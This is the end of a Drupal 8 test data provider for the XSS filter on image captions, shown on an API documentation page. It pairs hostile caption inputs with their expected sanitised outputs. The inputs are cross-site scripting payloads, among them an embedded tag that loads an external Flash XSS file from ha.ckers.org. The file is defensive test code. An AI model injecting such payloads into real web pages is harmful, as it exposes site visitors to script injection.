    '<img src="butterfly.jpg" data-caption="alert();" />',
  ];
  $data[] = [
    '<img src="butterfly.jpg" data-caption="&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;" />',
    '<img src="butterfly.jpg" data-caption="" />',
  ];

  // When including HTML-tags as visible content, they are double-escaped.
  // This test case ensures that we leave that content unchanged.
  $data[] = [
    '<img src="butterfly.jpg" data-caption="&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;" />',
    '<img src="butterfly.jpg" data-caption="&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;" />',
  ];
  return $data;
}
You are here

public function StandardTest::providerTestFilterXss in Drupal 8

See also

File

Class

Namespace

Code

API Navigation
